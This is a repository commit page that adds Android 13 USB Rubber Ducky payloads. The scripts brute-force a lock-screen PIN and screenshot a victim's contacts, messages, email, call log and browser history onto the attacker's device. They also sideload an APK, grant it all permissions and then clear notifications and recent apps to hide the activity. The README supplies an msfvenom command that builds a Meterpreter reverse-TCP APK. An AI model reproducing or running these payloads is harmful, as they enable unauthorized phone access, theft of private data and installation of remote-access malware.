hak5
/
usbrubberducky-payloads
mirror of https://github.com/hak5/usbrubberducky-payloads.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge 0d6f38865f into a8c264c752

salvat1on 2024-10-27 17:57:21 -06:00 committed by GitHub
parent a8c264c752 0d6f38865f
commit 8ef2f6aeaf
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
5 changed files with 925 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

190
payloads/library/mobile/Android/ANDROID_BLANKET_PARTY/Bruteforce_Cracker/Pin-Crack.txt Normal file
View File

@ -0,0 +1,190 @@
REM #TITLE: Android 13 Payload
REM #AUTHOR: $@LVAT10N!
REM #DESCRIPTION: Android payload to support android 13. This payload will
REM # brute force a 4 digit pin. The first five strings you can add possible
REM # pins gathered from recon data by replacing the x's with pins or delete
REM # these lines if you just want random generated pins.The pin length can be
REM # modified by X string length and adding addtional "RANDOM_NUMBER" entries
REM # below to increase the length of the random pins that are generated.
REM # This is a run once script intended for engagements.
DELAY 3000
ATTACKMODE HID
REM # Scroll up, wake screen and start cracking
SPACE
DELAY 100
SPACE
DELAY 1000
STRING X
STRING X
STRING X
STRING X
ENTER
DELAY 2000
STRING X
STRING X
STRING X
STRING X
ENTER
DELAY 2000
STRING X
STRING X
STRING x
STRING X
ENTER
DELAY 2000
STRING X
STRING X
STRING X
STRING X
ENTER
DELAY 2000
STRING X
STRING X
STRING X
STRING X
ENTER
DELAY 32000
SPACE
DELAY 100
SPACE
DELAY 100
SPACE
DELAY 100
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 2000
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 2000
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 2000
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 2000
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 32000
SPACE
DELAY 100
SPACE
DELAY 100
SPACE
DELAY 100
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 2000
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 2000
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 2000
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 2000
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 60000
SPACE
DELAY 100
SPACE
DELAY 100
SPACE
DELAY 100
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 2000
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 2000
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 2000
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 2000
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 60000
DELAY 60000
SPACE
DELAY 100
SPACE
DELAY 100
SPACE
DELAY 100
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 2000
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 2000
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 2000
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER
DELAY 2000
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
RANDOM_NUMBER
ENTER

126
payloads/library/mobile/Android/ANDROID_BLANKET_PARTY/PRANKS/CHANGE-LANUAGES.txt Normal file
View File

@ -0,0 +1,126 @@
REM #TITLE: Android 13 Payload
REM #AUTHOR: $@LVAT10N!
REM #DESCRIPTION: Android payload to support android 13. This payload will
REM # brute force a pin and change the default language on the target device
REM # Once the pin is cracked click the ducky button once to start the payload
BUTTON_DEF
ATTACKMODE HID
DELAY 2000
REM # Navigate to home screen
GUI ENTER
DELAY 2000
REM # move to settings menu
GUI z
DELAY 1000
REM Search for general management
ENTER
DELAY 1000
STRING general management
DELAY 1000
REM # Select general management
VAR $FIND = 4
WHILE ( $FIND > 0 )
TAB
DELAY 200
$FIND = ( $FIND - 1 )
END_WHILE
ENTER
DELAY 1000
REM # Select language
DOWNARROW
DELAY 200
DOWNARROW
DELAY 200
ENTER
REM # Select "ADD language"
DELAY 200
DOWNARROW
DELAY 200
DOWNARROW
ENTER
DELAY 1000
REM # Select language To change to
VAR $CHANGE = 5
WHILE ( $CHANGE > 0 )
DOWNARROW
DELAY 200
$CHANGE = ( $CHANGE - 1 )
END_WHILE
DELAY 200
ENTER
REM # Set as default
DELAY 200
ENTER
DELAY 200
REM # Go home
GUI ENTER
DELAY 1000
REM # Delete all recent tabs that were opened on the device
VAR $WIPE = 8
WHILE ( $WIPE > 0 )
ALT TAB
DELAY 100
ALT F4
DELAY 100
$WIPE = ( $WIPE - 1 )
END_WHILE
REM # If not already at the home screen, going to home screen
DELAY 1000
GUI ENTER
REM # Locking the device back up
DELAY 1000
GUI l
DELAY 100
REM # Turning attackmode off
ATTACKMODE OFF
DELAY 1000
END_BUTTON
DELAY 3000
REM # Scroll up, wake screen and start cracking
REM # The first five strings you can add possible pins gathered from recon
REM # data by replacing the x's with pins or delete these lines, this
REM # payload is for a 4 digit pin. The pin length can be modified by X string
REM # length and adding addtional "RANDOM_NUMBER" entries below to increase
REM # the length of the random pins that are generated.
ATTACKMODE HID
DELAY 100
SPACE
DELAY 100
SPACE
DELAY 1000
STRING X
STRING X
STRING X
STRING X
ENTER
DELAY 2000
STRING X
STRING X
STRING X
STRING X
ENTER
DELAY 2000
STRING X
STRING X
STRING X
STRING X
ENTER
DELAY 2000
STRING X
STRING X
STRING X
STRING X
ENTER
DELAY 2000
STRING X
STRING X
STRING X
STRING X
ENTER
DELAY 32000

26
payloads/library/mobile/Android/ANDROID_BLANKET_PARTY/README.md Normal file
View File

@ -0,0 +1,26 @@
# ANDROID_BLANKET_PARTY
This repository houses all my Android Rubber Ducky payloads, most of these payloads will also work with a O.MG cable
//BLANKET PArty as in that iconic scene from "FUll MEtal Jacket"//
![image](https://github.com/salvat1on/ANDROID_BLANKET_PARTY/assets/27372029/4ca1e4a8-846d-4da1-b140-8399392bd945)
Swipe-to-open.txt will install an apk to the target device that resides in the ducky storage.
The [STAND-ALONE] Pin / Password lockscreen brute force payloads will also be included in
this Repository.
You can create an APK Payload with metasploit with the following command in the terminal
msfvenom -p android/meterpreter_reverse_tcp LHOST=YOUR_ADDRESS LPORT=5555 -o WHATEVER_NAME.apk
The APK file must then be copied to the ducky along side the bin file you place there as well.
The APK payloads rely on a bug I found and will be reporting soon, within the APP install process
[SWIPE TO OPEN DEMO]
[![IMAGE ALT TEXT HERE](https://i.ibb.co/Yh2D6Vt/swipe.png)](https://youtu.be/Hon9YmdVehQ)
[PIN CRACKER DEMO]
[![IMAGE ALT TEXT HERE](https://i.ibb.co/gJKgg6b/pin-crack.png)](https://youtube.com/shorts/jV1f7E00P_g)

457
payloads/library/mobile/Android/ANDROID_BLANKET_PARTY/Recon/Blanket_Party_Recon.txt Normal file
View File

@ -0,0 +1,457 @@
REM #TITLE: Android 13 Payload
REM #AUTHOR: $@LVAT10N!
REM #DESCRIPTION: Android payload to support android 13. This payload will
REM # brute force a 4 digit pin and take 10 screenshots of contacts, 10
REM # screenshots of text logs, 5 screenshots of the browser history,
REM # one screenshot of notifications, one screenshot of current email,
REM # and 1 screenshot of the last number called. Then move all
REM # screenshots to the ducky storage. Once the pin is cracked press the
REM # ducky button once to start stage 2 of the payload ( gathering INTEL)
REM # If you would like to add more pin guesses and pin randomization consider
REM # replacing the bottom of this script with my "pin-crack" attack. This
REM # script is intended to give you 5 attempts with pins you have gathered
REM # from recon.This attack will take all screenshots on the device, not
REM # just the ones the ducky takes, 50% of screenshots are accidents the other
REM # 50% are important things that cannot be forgotten. Make sure your ducky
REM # has enough storage to accomidate this attack.
BUTTON_DEF
ATTACKMODE HID STORAGE
DELAY 2000
REM # If not at homescreen going home
GUI ENTER
DELAY 1000
REM # Open phone
GUI f
DELAY 1000
STRING phone
DELAY 1000
ENTER
DELAY 200
ENTER
DELAY 1500
REM # Pull up last number dialed
ENTER
DELAY 1000
ALT PRINTSCREEN
DELAY 1000
REM # closing out screenshot window
ESC
DELAY 500
REM # Going to homescreen
GUI ENTER
DELAY 1000
REM # open notifications
GUI n
DELAY 1000
REM # Take screenshot
ALT PRINTSCREEN
DELAY 1000
ESC
DELAY 500
REM # Going back to homescreen
GUI ENTER
DELAY 1000
REM # Open email
GUI e
DELAY 2000
REM # Take screenshot of recent inbox
ALT PRINTSCREEN
DELAY 1000
ESC
DELAY 500
REM # Going back to homescreen
GUI ENTER
DELAY 1000
REM # Open browser
GUI b
DELAY 3000
REM # Open browser menu , select history and open
MENU
DELAY 200
DOWNARROW
DELAY 200
DOWNARROW
DELAY 200
DOWNARROW
DELAY 200
DOWNARROW
DELAY 200
ENTER
REM # Start taking screenshots of browser history
DELAY 1000
ALT PRINTSCREEN
REM # Clearing screenshot window so scrolling can continue
DELAY 500
ESC
DELAY 200
PAGEDOWN
DELAY 200
VAR $FALL = 10
WHILE ( $FALL > 0 )
DOWNARROW
DELAY 200
$FALL = ( $FALL - 1 )
END_WHILE
DELAY 1000
ALT PRINTSCREEN
REM # Clearing screenshot window so scrolling can continue
DELAY 500
ESC
VAR $FALL = 10
WHILE ( $FALL > 0 )
DOWNARROW
DELAY 200
$FALL = ( $FALL - 1 )
END_WHILE
DELAY 1000
ALT PRINTSCREEN
REM # Clearing screenshot window so scrolling can continue
DELAY 500
ESC
VAR $FALL = 10
WHILE ( $FALL > 0 )
DOWNARROW
DELAY 200
$FALL = ( $FALL - 1 )
END_WHILE
DELAY 1000
ALT PRINTSCREEN
REM # Clearing screenshot window so scrolling can continue
DELAY 500
ESC
VAR $FALL = 10
WHILE ( $FALL > 0 )
DOWNARROW
DELAY 200
$FALL = ( $FALL - 1 )
END_WHILE
DELAY 1000
ALT PRINTSCREEN
REM # Clearing screenshot window so scrolling can continue
DELAY 500
ESC
VAR $FALL = 10
WHILE ( $FALL > 0 )
DOWNARROW
DELAY 200
$FALL = ( $FALL - 1 )
END_WHILE
DELAY 1000
ALT PRINTSCREEN
REM # Clearing screenshot window so scrolling can continue
DELAY 500
ESC
DELAY 1000
REM # Returning to Homescreen
GUI ENTER
DELAY 1000
REM # Jump to messages, take screenshot - scroll, rinse and repeat
GUI s
DELAY 1000
DOWNARROW
DELAY 200
DOWNARROW
DELAY 200
ALT PRINTSCREEN
DELAY 1000
REM # Closing out screenshot share window
ESC
DELAY 500
VAR $DIP = 15
WHILE ( $DIP > 0 )
DOWNARROW
DELAY 200
$DIP = ( $DIP - 1 )
END_WHILE
ALT PRINTSCREEN
DELAY 1000
REM # Closing out screenshot share window
ESC
DELAY 500
VAR $TRIP = 8
WHILE ( $TRIP > 0 )
DOWNARROW
DELAY 200
$TRIP = ( $TRIP - 1 )
END_WHILE
ALT PRINTSCREEN
DELAY 1000
REM # Closing out screenshot share window
ESC
DELAY 500
VAR $TRIP = 8
WHILE ( $TRIP > 0 )
DOWNARROW
DELAY 200
$TRIP = ( $TRIP - 1 )
END_WHILE
ALT PRINTSCREEN
DELAY 1000
REM # Closing out screenshot share window
ESC
DELAY 500
VAR $TRIP = 8
WHILE ( $TRIP > 0 )
DOWNARROW
DELAY 200
$TRIP = ( $TRIP - 1 )
END_WHILE
ALT PRINTSCREEN
DELAY 1000
REM # Closing out screenshot share window
ESC
DELAY 500
VAR $TRIP = 8
WHILE ( $TRIP > 0 )
DOWNARROW
DELAY 200
$TRIP = ( $TRIP - 1 )
END_WHILE
ALT PRINTSCREEN
DELAY 1000
REM # Closing out screenshot share window
ESC
DELAY 500
VAR $TRIP = 8
WHILE ( $TRIP > 0 )
DOWNARROW
DELAY 200
$TRIP = ( $TRIP - 1 )
END_WHILE
ALT PRINTSCREEN
DELAY 1000
REM # Closing out screenshot share window
ESC
DELAY 500
VAR $TRIP = 8
WHILE ( $TRIP > 0 )
DOWNARROW
DELAY 200
$TRIP = ( $TRIP - 1 )
END_WHILE
ALT PRINTSCREEN
DELAY 1000
REM # Closing out screenshot share window
ESC
DELAY 500
VAR $TRIP = 8
WHILE ( $TRIP > 0 )
DOWNARROW
DELAY 200
$TRIP = ( $TRIP - 1 )
END_WHILE
ALT PRINTSCREEN
DELAY 1000
REM # Closing out screenshot share window
ESC
DELAY 500
VAR $TRIP = 8
WHILE ( $TRIP > 0 )
DOWNARROW
DELAY 200
$TRIP = ( $TRIP - 1 )
END_WHILE
ALT PRINTSCREEN
DELAY 2000
REM # Closing out screenshot share window
ESC
DELAY 1000
REM # Going home
GUI ENTER
DELAY 1000
REM # Jump to contacts, take screenshot - scroll, rinse and repeat
GUI c
DELAY 1000
DOWNARROW
DELAY 1000
ALT PRINTSCREEN
DELAY 1000
REM # Escape is used to close out the window opened after a screenshot is taken
ESC
VAR $CONTACTS = 9
WHILE ( $CONTACTS > 0 )
DELAY 200
PAGEDOWN
DELAY 1000
ALT PRINTSCREEN
DELAY 1000
ESC
$CONTACTS = ( $CONTACTS - 1 )
END_WHILE
DELAY 1000
REM # Jump to file manager, find screenshots folder and move there
GUI r
DELAY 200
REM # Search for recent screenshots
DELAY 200
ENTER
DELAY 200
ENTER
DELAY 1000
REM # Reset keyboard for good measure
RESET
DELAY 500
STRING screenshot
DELAY 1000
ENTER
DELAY 200
REM # Select all screenshots
CTRL a
REM # Select the "move" option
DELAY 1000
PAGEDOWN
DELAY 200
DOWNARROW
DELAY 200
DOWNARROW
DELAY 200
DOWNARROW
DELAY 200
LEFTARROW
DELAY 200
LEFTARROW
DELAY 200
ENTER
REM # Select the ducky storage as the move location
REM # Jump to previous window
DELAY 1000
TAB
DELAY 200
ENTER
REM # Jump to previous window
DELAY 1000
LEFTARROW
DELAY 200
ENTER
REM # Select ducky storage
VAR $HOP = 5
WHILE ( $HOP > 0 )
DELAY 200
DOWNARROW
$HOP = ( $HOP - 1 )
END_WHILE
ENTER
REM # In ducky storage, select "move here"
DELAY 200
PAGEDOWN
DELAY 200
DOWNARROW
DELAY 200
DOWNARROW
DELAY 200
DOWNARROW
DELAY 200
RIGHTARROW
DELAY 200
RIGHTARROW
DELAY 200
ENTER
REM # Returning to home
DELAY 1000
GUI ENTER
DELAY 200
REM # Start cleaning up and reduce footprint
REM # Open and close out most recent tabs on the device
VAR $WIPE = 8
WHILE ( $WIPE > 0 )
ALT TAB
DELAY 200
ALT F4
DELAY 200
$WIPE = ( $WIPE - 1 )
END_WHILE
DELAY 200
GUI ENTER
DELAY 1000
REM # Clear device notifications
GUI n
DELAY 500
UPARROW
DELAY 100
RIGHTARROW
DELAY 100
ENTER
DELAY 1000
REM # Return home
GUI ENTER
DELAY 1000
REM # Lock device and turn attackmode off
GUI l
DELAY 300
ATTACKMODE OFF
END_BUTTON
DELAY 3000
REM # Scroll up, wake screen and start cracking
REM # The first five strings you can add possible pins gathered from recon
REM # data by replacing the x's with pins. This payload is for a 4 digit pin.
REM # The pin length can be modified by increasing X string length
ATTACKMODE HID
DELAY 100
SPACE
DELAY 100
SPACE
DELAY 1000
STRING X
STRING X
STRING X
STRING X
ENTER
DELAY 2000
STRING X
STRING X
STRING X
STRING X
ENTER
DELAY 2000
STRING X
STRING X
STRING X
STRING X
ENTER
DELAY 2000
STRING X
STRING X
STRING X
STRING X
ENTER
DELAY 2000
STRING X
STRING X
STRING X
STRING X
ENTER
DELAY 32000

126
payloads/library/mobile/Android/ANDROID_BLANKET_PARTY/swipe-to-open.txt Normal file
View File

@ -0,0 +1,126 @@
REM #TITLE: Android 13 Payload
REM #AUTHOR: $@LVAT10N!
REM #DESCRIPTION: Android payload to support android 13. This payload will
REM # install an apk to the target device that resides in the ducky storage.
REM # Payload is for device with "swipe to unlock" lockscreen, no pin or password enabled
DELAY 3000
ATTACKMODE HID STORAGE
REM # scroll up to unlock device
SPACE
DELAY 100
SPACE
DELAY 2000
REM # Open file manager
GUI r
DELAY 2000
REM # Find the ducky in the device file manager.
VAR $SEEK = 4
WHILE ( $SEEK > 0 )
DELAY 200
DOWNARROW
$SEEK = ( $SEEK - 1 )
END_WHILE
ENTER
REM # Select payload
DELAY 2000
VAR $FALL = 13
WHILE ( $FALL > 0 )
TAB
DELAY 100
$FALL = ( $FALL - 1 )
END_WHILE
ENTER
REM # Allow installation of unknown apps (Step 1: Deal with unruly nurse Buck)
DELAY 1000
TAB
DELAY 100
TAB
DELAY 100
ENTER
DELAY 1000
REM # Move slider to allow installation via the file manager (Step 2: Find Bucks truck)
VAR $SLIDER = 12
WHILE ( $SLIDER > 0 )
TAB
DELAY 100
$SLIDER = ( $SLIDER - 1 )
END_WHILE
ENTER
REM # YES!! install the payload ( Step 3: Get in the truck)
DELAY 1500
TAB
DELAY 100
ENTER
REM # I know it's a payload, INSTALL ANYWAY!!
DELAY 1500
TAB
DELAY 100
ENTER
REM # From here the warning screen is exploited by simply waiting
REM # 45 seconds so the device will sleep and the warning times out.
REM # When the device wakes up the apk is installed (Step 4: Wiggle your big toe)
DELAY 45000
SPACE
DELAY 100
SPACE
DELAY 100
SPACE
DELAY 2000
REM # Select and click open
DELAY 200
ENTER
REM # Allow all Permissions for apk
DELAY 1500
VAR $ALLOW = 11
WHILE ( $ALLOW > 0 )
DOWNARROW
DELAY 100
$ALLOW = ( $ALLOW - 1 )
END_WHILE
DELAY 100
RIGHTARROW
DELAY 100
ENTER
REM # Click OK, nobody cares ..
DELAY 1500
TAB
DELAY 100
ENTER
REM # Delete all recent tabs that were opened on the device
DELAY 1000
VAR $WIPE = 8
WHILE ( $WIPE > 0 )
ALT TAB
DELAY 100
ALT F4
DELAY 100
$WIPE = ( $WIPE - 1 )
END_WHILE
REM # If not already at the home screen, going to home screen
DELAY 1000
GUI ENTER
DELAY 1000
REM # Clearing device notifications
GUI n
DELAY 500
UPARROW
DELAY 100
RIGHTARROW
DELAY 100
ENTER
DELAY 1000
REM # Locking the device back up
DELAY 500
GUI l
REM # Setting attackmode to "off"
ATTACKMODE OFF